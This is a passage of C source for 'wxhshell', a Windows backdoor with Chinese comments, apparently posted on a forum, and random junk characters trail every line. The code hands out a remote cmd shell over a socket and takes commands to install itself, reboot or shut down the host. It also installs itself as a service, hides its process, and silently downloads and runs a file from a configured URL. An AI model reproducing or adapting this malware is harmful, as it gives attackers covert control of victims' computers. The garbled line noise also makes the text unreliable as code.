  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dbQUW#<Q  
  } sKVN*8ia  
  else { $!)Sgb  
x DD3Y{ K  
    switch(cmd[0]) { t;!v jac  
  hy3j8?66  
  // 帮助 ;}"_hLX  
  case '?': { q|;_G#4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 61L  vT"  
    break; MF)Xc\}0p  
  } UE3(L ^  
  // 安装 #  -e  
  case 'i': { 7=(r k  
    if(Install()) rJ|Q%utYz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DN3#W w2[r  
    else BQu_)@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kclClB:PS  
    break; W ZdEfY{  
    } #; CC"  
  // 卸载 >>oR@  
  case 'r': { #9M6 q  
    if(Uninstall()) ^x-vOG lR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uu@Y]0-  
    else ?f<JwF<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PY- 1 oP  
    break; /n;Ll](ri  
    } :34]}`-  
  // 显示 wxhshell 所在路径 `?r]OVe{y  
  case 'p': { FKRO0%M4}Z  
    char svExeFile[MAX_PATH]; #}*w &y  
    strcpy(svExeFile,"\n\r"); |h$*z9bsf  
      strcat(svExeFile,ExeFile); KE!aa&g  
        send(wsh,svExeFile,strlen(svExeFile),0); `@1y|j:m  
    break; PLD6Ug  
    } QWz5iM  
  // 重启 a$H*C(wL  
  case 'b': { D;VQoO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &/R`\(hEA  
    if(Boot(REBOOT)) -e0C Bp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &D0suK#  
    else { ?0 93'lA  
    closesocket(wsh); c@;$6WSG^  
    ExitThread(0); r!:W-Y%&#  
    } 8|*#r[x  
    break; Z^5j.d{e$  
    } HxCq6Y_m<  
  // 关机 feU]a5%XZ  
  case 'd': { 5mxHOtvtWM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /J!C2  
    if(Boot(SHUTDOWN)) IA_>x9 (~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D#Fe\8!l  
    else { V; 0{o  
    closesocket(wsh); aV"K%#N  
    ExitThread(0); ^PA[fL"  
    } Jf6u E?.  
    break; Elth xj  
    } 9 f$S4O5  
  // 获取shell 8fA9yQ 8  
  case 's': { oE@{h$=  
    CmdShell(wsh); tgoOzk^  
    closesocket(wsh); v0hr~1  
    ExitThread(0); 64xq@_+  
    break; =+;1^sZ  
  } ^T*^L=L_(  
  // 退出 1&N|k;#QS  
  case 'x': { :&: IZkO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;]YQ WK  
    CloseIt(wsh); F[m"eEX  
    break; oz $T.  
    } juOOD   
  // 离开 0s)B~  
  case 'q': { i\hH .7G1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nn>< k"  
    closesocket(wsh); R-nC+)^  
    WSACleanup(); uMOm<kn  
    exit(1); %SORs(4  
    break; 7 +A-S9P)  
        } M7z>ugk"  
  } L$zI_ z  
  } EGMj5@>  
8was/^9;  
  // 提示信息 5"(AqXoq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t95hI DtD  
} clfi)-^ {K  
  } F jdh&9Zc  
$__e7  
  return; &X0/7)*"v  
} nsR^TD;  
uV1H iv-  
// shell模块句柄 bDd$79@m  
int CmdShell(SOCKET sock) [P#^nyOh(  
{ Q)N$h07R  
STARTUPINFO si; QYDTb=h~  
ZeroMemory(&si,sizeof(si)); :()(P9?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pcw!e_"+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 86d *  
PROCESS_INFORMATION ProcessInfo; | rJ_  
char cmdline[]="cmd"; %4QCUc*lr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dLOUL9hf  
  return 0; KI(9TI *  
} xR+=F1y  
f:iK5g  
// 自身启动模式 Ht^MY  
int StartFromService(void) =w &%29BYq  
{ [{3WHS.  
typedef struct ,Yhy7w  
{ $$C5Q;7w!  
  DWORD ExitStatus;  v|+}>g  
  DWORD PebBaseAddress; VuTH"br6  
  DWORD AffinityMask; .&2pZ  
  DWORD BasePriority; +kCVi  
  ULONG UniqueProcessId;  (2vR8  
  ULONG InheritedFromUniqueProcessId; /_~b~3{u  
}   PROCESS_BASIC_INFORMATION; 6_/oVvd  
!ZP1?l30  
PROCNTQSIP NtQueryInformationProcess;  |u 8hxa  
X;_0"g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -,j J{Y~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mi'Q5m  
?#]K54?  
  HANDLE             hProcess; Yjz'lWg  
  PROCESS_BASIC_INFORMATION pbi; wd*i&ooQ*L  
-k\7k2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )f#@`lf[<  
  if(NULL == hInst ) return 0; Y{y #us1  
,-u | l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =!NYvwg6;o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I%xrDiK97  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }i_[wq{E&  
lv9Ss-c4  
  if (!NtQueryInformationProcess) return 0; u#=Yv |9  
HN>eS Y+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Fb"&F^7  
  if(!hProcess) return 0; oQ!}@CaN|  
uF5d ]{Qt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2^Gl;3  
+T[3wL~  
  CloseHandle(hProcess); @t`| w.]ml  
nut;ohIh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G 8|[.n  
if(hProcess==NULL) return 0; AG) N^yd  
[:$j<}UmB  
HMODULE hMod; /b@0HL?  
char procName[255]; s<0yQ-=.?N  
unsigned long cbNeeded; Vja' :i  
FVLXq0<Cj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L]0+ u\(  
IDBhhv3ak  
  CloseHandle(hProcess); jM J[6qj  
M0o=bYI  
if(strstr(procName,"services")) return 1; // 以服务启动 Y%qhgzz?/  
sBp|Lo  
  return 0; // 注册表启动 pfg"6P  
} _J&u{  
rPK?p J  
// 主模块 GN{\ccej  
int StartWxhshell(LPSTR lpCmdLine) _%l+v  
{ pPCxa#OV  
  SOCKET wsl; $V?zJ:a>L  
BOOL val=TRUE; T,(IdVlJ  
  int port=0; M "p6xp/  
  struct sockaddr_in door; 3hR7 . /  
Bt,qG1>$-  
  if(wscfg.ws_autoins) Install(); dv4)fG]W;_  
BieII$\P%P  
port=atoi(lpCmdLine); {d(PH7R  
do*`-SDy  
if(port<=0) port=wscfg.ws_port; DLyHC=%{+h  
;~z>GJox  
  WSADATA data; 8s8q`_.)(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uW;Uq=UN  
_wM[U`H}s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P,h@F+OZN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _ %&"4bm.  
  door.sin_family = AF_INET; )ACa0V>*p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vJ GxD\h  
  door.sin_port = htons(port); &0f7>.y  
2bX!-h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y=9a2 [3Dz  
closesocket(wsl); -j3 -H&  
return 1; L3q)j\ ls  
} !=&]#-;b  
ml=1R >#'  
  if(listen(wsl,2) == INVALID_SOCKET) { < Q\`2{  
closesocket(wsl); _1y|#o  
return 1; 2EE/xnwX  
} F)e*w:D  
  Wxhshell(wsl); o)}b Fw  
  WSACleanup(); i[3$Wi$  
#2yOqUO\  
return 0; nIph[Vs-Z  
r_)-NOp  
} z('93vsO  
nS?HH6H  
// 以NT服务方式启动 ?RWd"JTGue  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uNXh"?  
{ `k\]I |6  
DWORD   status = 0; b,T=0W  
  DWORD   specificError = 0xfffffff; Zpb3>0<R  
m)_1->K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; | nry^zb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n4."}DO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "G6d'xkP  
  serviceStatus.dwWin32ExitCode     = 0; idO3/>R [  
  serviceStatus.dwServiceSpecificExitCode = 0; G&C)`};  
  serviceStatus.dwCheckPoint       = 0; ?2EzNNcS  
  serviceStatus.dwWaitHint       = 0; vW$] :).  
jn}6yXB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }r^MXv~(  
  if (hServiceStatusHandle==0) return; I]SR.Yp%  
 vA`[#(C  
status = GetLastError(); vo7 1T<K  
  if (status!=NO_ERROR) fil6w</L  
{ 73}k[e7e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /Z2*>7HM8[  
    serviceStatus.dwCheckPoint       = 0; )STt3.  
    serviceStatus.dwWaitHint       = 0; _%zU ^aE  
    serviceStatus.dwWin32ExitCode     = status; W]Ph:O ^5c  
    serviceStatus.dwServiceSpecificExitCode = specificError; PY z | d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Uewv +  
    return; HwST^\Ao  
  } g1zqh,  
Tg:NeAN7(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3;:xEPb._6  
  serviceStatus.dwCheckPoint       = 0; 4zf#zJw  
  serviceStatus.dwWaitHint       = 0; M!X@-t#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UO:>^,(j  
} BM&'3K_y  
Q ;k_q3  
// 处理NT服务事件,比如:启动、停止 +#B%YK|LR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A5H[g`&  
{ RuRJjcnY  
switch(fdwControl) gu:..'V  
{ ;'o>6I7Ph  
case SERVICE_CONTROL_STOP: ?N|PgNu X  
  serviceStatus.dwWin32ExitCode = 0; @XIwp2A{+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '.kbXw0}  
  serviceStatus.dwCheckPoint   = 0; *;gi52tM  
  serviceStatus.dwWaitHint     = 0; R:ar85F  
  { 7H >dv'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R2J3R5 S=[  
  } $(CHwG-  
  return; =u;q98r  
case SERVICE_CONTROL_PAUSE: sg6cq_\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }+=@Ci  
  break; xq~=T:>/A  
case SERVICE_CONTROL_CONTINUE: &H+<uYV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5~[ Fh2+  
  break; 7L<oWAq  
case SERVICE_CONTROL_INTERROGATE: @~N#)L^  
  break; "t\9@nzdX  
}; IS=)J( 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QM_~w \  
} 6|jE3rHw  
Xif`gb6`  
// 标准应用程序主函数 [FCNW0NV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =G72`]#-  
{ cxv) LOl-  
Hd2_Cg FB  
// 获取操作系统版本 s~63JDy"E  
OsIsNt=GetOsVer(); 5rcno.~QO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 92tb`'  
[R:O'AP}@}  
  // 从命令行安装 _9gn;F  
  if(strpbrk(lpCmdLine,"iI")) Install();  C3<3  
[X=eCHB?  
  // 下载执行文件 ^al SyJ`  
if(wscfg.ws_downexe) { >C&!# 3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^a}{u$<  
  WinExec(wscfg.ws_filenam,SW_HIDE); m76]INq  
} g,W#3b6>j  
:- 5Mn3*  
if(!OsIsNt) { d8r+UP@#  
// 如果时win9x,隐藏进程并且设置为注册表启动 \Q)~'P3  
HideProc(); /kWWwy<  
StartWxhshell(lpCmdLine); < 1r.p<s  
} r-0 7!A  
else 1%:A9%O)t  
  if(StartFromService()) gSv<.fD"  
  // 以服务方式启动 $N ]P#g?Q  
  StartServiceCtrlDispatcher(DispatchTable); W ][IHy<   
else p,0 \NUC  
  // 普通方式启动 7yj2we  
  StartWxhshell(lpCmdLine); G^OSXf5  
=1JRu[&]8  
return 0; o. _^  
}
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只看该作者 1 发表于: 2006-10-10
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